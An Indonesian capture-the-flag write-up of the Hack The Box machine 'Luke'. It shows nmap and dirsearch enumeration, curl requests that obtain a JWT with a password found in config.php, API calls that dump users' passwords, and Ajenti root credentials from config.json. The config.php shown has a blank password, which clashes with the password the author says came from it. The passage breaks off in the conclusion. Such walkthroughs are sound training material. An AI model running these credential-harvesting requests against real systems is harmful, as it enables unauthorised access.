Summary
Luke merupakan box berbasis FreeBSD yang berisi beberapa service yang berjalan, diantaranya SSH, FTP, dan web service yang perjalan pada port 80,3000, dan 8000. Pada ke-tiga web server tersebut, berisi 3 web aplikasi yang berbeda, PHP, nodejs, dan Anjeti. Untuk mendapatkan akses ke console, peserta harus mencari credential untuk login ke dalam Anjeti, kemudian menjalankan terminal yang ada pada Anjeti. Sayangnya, pada box ini tidak diperlukan privilege escalation (karena sudah root) sehingga untuk token user dan token root dapat diakses dengan terminal yang ada pada Anjeti.
Apa yang dipelajari dari Box ini?
Meskipun tidak ada proses privilege escalation seperti box-box lainnya, ada beberapa hal yang menarik dari box ini, diantaranya:
- Enumeration
- JWT (JSON Web Token)
Technical Detail
Tahapan pertama yang dilakukan adalah pencarian informasi menggunakan NMAP untuk mengetahui service yang berjalan pada box ini.
[𝝺] nmap -sV -Pn 10.10.10.137
Starting Nmap 7.60 ( https://nmap.org ) at 2019-07-15 08:11 WIB
Stats: 0:00:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 80.00% done; ETC: 08:12 (0:00:04 remaining)
Nmap scan report for 10.10.10.137
Host is up (0.17s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
3000/tcp open http Node.js Express framework
4000/tcp filtered remoteanything
8000/tcp open http Ajenti http control panel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.22 seconds
[𝝺] nmap -sV -Pn 10.10.10.137 --script=vuln
Starting Nmap 7.60 ( https://nmap.org ) at 2019-07-15 08:26 WIB
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.137
Host is up (0.18s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
|_sslv2-drown:
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /login.php: Possible admin folder
| /css/: Potentially interesting folder w/ directory listing
| /js/: Potentially interesting folder w/ directory listing
| /management/: Potentially interesting folder (401 Unauthorized)
| /member/: Potentially interesting folder w/ directory listing
|_ /vendor/: Potentially interesting folder w/ directory listing
| http-fileupload-exploiter:
|
| Couldn't find a file-type field.
|
| Couldn't find a file-type field.
|
| Couldn't find a file-type field.
|
| Couldn't find a file-type field.
|
| Couldn't find a file-type field.
|
|_ Couldn't find a file-type field.
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
3000/tcp open http Node.js Express framework
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /login/: Login page
|_ /users/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2015-1427: ERROR: Script execution failed (use -d to debug)
8000/tcp open http Ajenti http control panel
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.137
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.10.10.137:8000/
| Form id: license-company
| Form action: /ajenti:auth
|
| Path: http://10.10.10.137:8000/#
| Form id: license-company
| Form action: /ajenti:auth
|
| Path: http://10.10.10.137:8000/ajenti:auth
| Form id: license-company
|_ Form action: /ajenti:auth
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1177.12 seconds
Port 80
Dari script vuln yang terdapat pada nmap, sudah mulai terlihat direktori apa saja yang terdapat pada box ini. Untuk menambah referensi, digunakan dirseach pada web yang berjalan di port 80.
[08:31:07] 200 - 202B - /config.php
[08:31:10] 301 - 232B - /css -> http://10.10.10.137/css/
[08:31:22] 200 - 1KB - /gulpfile.js
[08:31:30] 200 - 3KB - /index.html
[08:31:32] 301 - 231B - /js -> http://10.10.10.137/js/
[08:31:35] 200 - 1KB - /LICENSE
[08:31:39] 200 - 2KB - /login.php
[08:31:43] 401 - 381B - /management
[08:31:43] 401 - 381B - /management/
[08:31:45] 301 - 235B - /member -> http://10.10.10.137/member/
[08:31:45] 200 - 216B - /member/
[08:31:52] 200 - 1KB - /package.json
[08:32:03] 200 - 4KB - /README.md
Terdapat 3 hal penting yang ada pada aplikasi ini,
- config.php, berisi file config database.
- login.php, halaman login website.
- /management, dengan kode 401 (Unauthorized).
Isi dari config.php
$dbHost = 'localhost';
$dbUsername = 'root';
$dbPassword = ' ';
$db = "login";
$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);
Port 3000
Response dari web ketika diakses berupa JSON, dibuat menggunakan node.js Express framework (dari NMAP). Sepertinya, dibutuhkan sebuah token untuk mengakses web service yang berjalan.
Port 8000
Terdapat web service berupa Anjeti, tidak banyak informasi pada web ini, hanya terdapat halaman login Anjeti.
JSON Web Token (JWT)
Setelah pencarian beberapa lama, service yang berjalan pada port 3000 menggunakan JWT sebagai otentikasinya, kira-kira prosesnya seperti ini.
https://medium.com/@raul_11817/securing-golang-api-using-json-web-token-jwt-2dc363792a48 |
Diperlukan username dan password, untuk request auth-token yang valid. Ketika username dan password dinyatakan valid, server akan memberikan token kepada client. Kemudian token inilah yang digunakan client untuk mengakses server.
Pada kasus ini, username dan password yang didapat dari proses enumerasi berupa username dan password database. Selain itu, saya tidak mendapatkan informasi yang penting mengenai credential. Akhirnya, saya mencoba kombinasi username (root,admin,dll) dengan password Zk6heYCyv6ZE9Xcg -- terdapat pada config.php. Ternyata username yang valid adalah admin. Proses otentikasi dilakukan menggukan curl.
[𝝺] curl --header "Content-Type: application/json" --request POST --data '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' http://10.10.10.137:3000/login
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM"}
Setelah mendapatkan token, kembali melakukan request dengan header yang berisi token tersebut, responsenya seperti ini.
[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000
{"message":"Welcome admin ! "}
Langkah selanjutnya, menjalankan dirsearch dengan header berisi token yang valid, hasilnya ada beberapa direktori dengan response code 200.
[10:25:31] Starting:
[10:26:54] 200 - 13B - /login
[10:26:54] 200 - 13B - /Login
[10:26:54] 200 - 13B - /login/
[10:27:34] 200 - 181B - /users
[10:27:34] 200 - 181B - /users/
[10:27:34] 200 - 45B - /users/admin
Secara manual, kembali melakukan pengecekan menggunakan curl, berikut beberapa potongan informasi yang didapat.
[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000/users/
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}
[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000/users/admin
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000/users/derry
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000/users/yuri
{"name":"Yuri","password":"bet@tester87"}
[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000/users/dory
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}
Dari informasi diatas, user Derry memiliki role sebagai web admin kemungkinan ia memiliki akses ke dalam web aplikasi yang ada. Setelah mencoba login pada halaman web yang ada, user Derry bisa login kedalam http://10.10.10.137/management/. Pada file config.json berisi konfigurasi anjeti yang bisa digunakan untuk login kedalam port 8000.
{
"users": {
"root": {
"configs": {
"ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}",
"ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}",
"ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}",
"ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}",
"ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}",
"ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}",
"ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}",
"ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}",
"ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}",
"ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}",
"ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}",
"ajenti.users.UserManager": "{\"sync-provider\": \"\"}",
"ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}",
"ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}",
"ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
},
"password": "KpMasng6S5EtTy9Z",
"permissions": []
}
},
"language": "",
"bind": {
"host": "0.0.0.0",
"port": 8000
},
"enable_feedback": true,
"ssl": {
"enable": false,
"certificate_path": ""
},
"authentication": true,
"installation_id": 12354
}
username : root
password : KpMasng6S5EtTy9Z
Username dan password yang didapat dari file config.json bisa digunakan untuk login kedalam anjeti, terdapat menu terminal yang bisa menjalankan perintah pada box ini. Untungnya, privilege yang didapat merupakan root sehingga tidak diperlukan privilege escalation pada box ini.
Kesimpulan
Pada prosesnya, ada beberapa langkah pada box ini yang terkesan 'mengawang' sehingga beberapa orang di forum hackthebox sedikit kebigungan. Bagaimanapun,